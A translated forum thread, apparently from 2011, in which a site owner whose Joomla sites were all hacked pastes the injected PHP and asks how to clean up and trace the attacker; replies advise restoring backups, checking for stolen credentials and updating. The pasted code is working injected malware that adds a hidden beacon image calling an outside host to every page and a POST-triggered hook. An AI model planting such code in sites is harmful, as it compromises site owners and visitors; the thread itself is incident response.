Descobrir quem invadiu meu site [duplicado]

2

Todo o Joomla! sites hospedados em um único servidor meu foram hackeados e tiveram o seguinte código injetado nos arquivos index.php em vários diretórios.

    <?php
//{{126104ed

GLOBAL $alreadyxxx;
if($alreadyxxx != 1)
{
$alreadyxxx = 1;

$olderrxxx=error_reporting(0);

function outputxxx_callback($str)
{
  $links = '<SPAN STYLE="font-style: normal; visibility: hidden; position: absolute; left: 0px; top: 0px;"><div id="af4dae82ae67843a194c001162"><img width=0 height=0 src="http://airschk.com/countbk.gif?id=4dae82ae67843a194c001162&p=1&a=%91P%BC%BCQ%F7%20%7C6%BE%0A8%F52%9C%F5nT%82%8A%C8V%27%A1%1E%85%1B%16%DBh%F2%A3U%10%9Dh%9C%FF%B6t%0F%B2%E9%18"></div></SPAN>';preg_match("|</body>|si",$str,$arr);
  return str_replace($arr[0],$links.$arr[0],$str);
}

function StrToNum($Str, $Check, $Magic)
{
   $Int32Unit = 4294967296;
   $length = strlen($Str);
   for ($i = 0; $i < $length; $i++) {
       $Check *= $Magic;
       if ($Check >= $Int32Unit) {
           $Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
           $Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
       }
       $Check += ord($Str{$i});
   }
   return $Check;
}
function HashURL($String)
{
   $Check1 = StrToNum($String, 0x1505, 0x21);
   $Check2 = StrToNum($String, 0, 0x1003F);

   $Check1 >>= 2;
   $Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
   $Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
   $Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);

   $T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
   $T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );

   return ($T1 | $T2);
}

function CheckHash($Hashnum)
{
   $CheckByte = 0;
   $Flag = 0;

   $HashStr = sprintf('%u', $Hashnum) ;
   $length = strlen($HashStr);

   for ($i = $length-1; $i >= 0;  $i--) {
       $Re = $HashStr{$i};
       if (1 === ($Flag % 2)) {
           $Re += $Re;
           $Re = (int)($Re / 10) + ($Re % 10);
       }
       $CheckByte += $Re;
       $Flag ++;
   }

   $CheckByte %= 10;
   if (0 !== $CheckByte) {
       $CheckByte = 10 - $CheckByte;
       if (1 === ($Flag % 2) ) {
           if (1 === ($CheckByte % 2)) {
               $CheckByte += 9;
           }
           $CheckByte >>= 1;
       }
   }

   return '7'.$CheckByte.$HashStr;
}

function getpr($url)
{
   $ch = CheckHash(HashURL($url));
   $file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";;
   $data = file_get_contents($file);
   $pos = strpos($data, "Rank_");
   if($pos === false){return -1;} else{
       $pr=substr($data, $pos + 9);
       $pr=trim($pr);
       $pr=str_replace("
",'',$pr);
       return $pr;
   }
}

if(isset($_POST['xxxprch']))
{
    echo getpr($_POST['xxxprch']);
    exit();
}
else
  ob_start('outputxxx_callback');

error_reporting($olderrxxx);
}

//}}861921ab

Até onde eu sabia e de acordo com toda a documentação, meu Joomla! sites estavam seguros. No entanto, todos eles no mesmo servidor foram invadidos ao mesmo tempo. Os anfitriões são culpados?

Alguém sabe onde eu devo começar a limpar essa bagunça? Quaisquer soluções rápidas para além dos backups do meu site?

E a maior dúvida que eu tenho é qual seria a melhor maneira de rastrear o hacker em seu site, servidor ou localização? Eu realmente quero mostrar a eles o meu apreço pelo trabalho deles em troca.

    
por Andy Smith 21.04.2011 / 22:44

5 respostas

2

Meu palpite é que eles conseguiram a senha do seu servidor com um Trojan. Verifique seu computador o mais cedo possível, especialmente se você armazenar as senhas do servidor em qualquer programa (navegador, clientes ftp, comandante total, etc.) Btw: Eu estou supondo que você está usando o windows

Sobre o rastreamento do hacker, não será fácil. Primeiro, verifique os registros de acesso a partir do momento em que isso aconteceu. Você provavelmente verá toneladas de atividade ftp lá. Dê uma olhada no IP desses registros. Se todos eles são diferentes, então ele provavelmente está usando computadores zumbis e é muito improvável que você vá até ele. Se eles são todos iguais, então você pode ter um pouco mais de sorte.

De qualquer forma, isso soa como um ataque automatizado. Faça uma pesquisa para verificar se outros sites (não em seu servidor) tiveram o mesmo código injetado para eles.

    
por 21.04.2011 / 23:17
4

"Até onde eu sabia e de acordo com toda a documentação, meus sites Joomla! eram seguros."

Essa afirmação é o seu primeiro problema. Se você procurar por "joomla hackeado", haverá 280.000 resultados apenas no último mês ...

No que diz respeito à recuperação, eu não confiaria em nada que fosse restabelecer de um bom backup conhecido. Essas edições são apenas as que você encontrou. Quem sabe o que mais poderia ter sido colocado lá?

Para rastreá-los, convém começar lendo: link

Resumindo, eu diria que suas chances estão próximas de zero. No entanto, eles aumentam alguns pontos percentuais se você tiver bolsos profundos ou apoio do governo.

    
por 21.04.2011 / 23:11
1

Você não nos fornece detalhes suficientes para poder ajudar com o como, foi quase certamente um ataque automatizado e tentar rastreá-lo desperdiçará seu tempo.

Não há maneira rápida de se recuperar disso. O Nuke da órbita e a restauração de um backup bem conhecido é o único caminho a seguir.

    
por 21.04.2011 / 23:13
0

Certifique-se de manter o Joomla atualizado! Acompanhe as atualizações de segurança e instale-as em todos os sites no dia em que forem lançadas.

    
por 21.04.2011 / 23:50
0

Há alguma explicação sobre isso aqui:

link

O que parece ser um backdoor e o img src é usado apenas para notificar os invasores de que o backdoor está lá ...

    
por 22.04.2011 / 22:26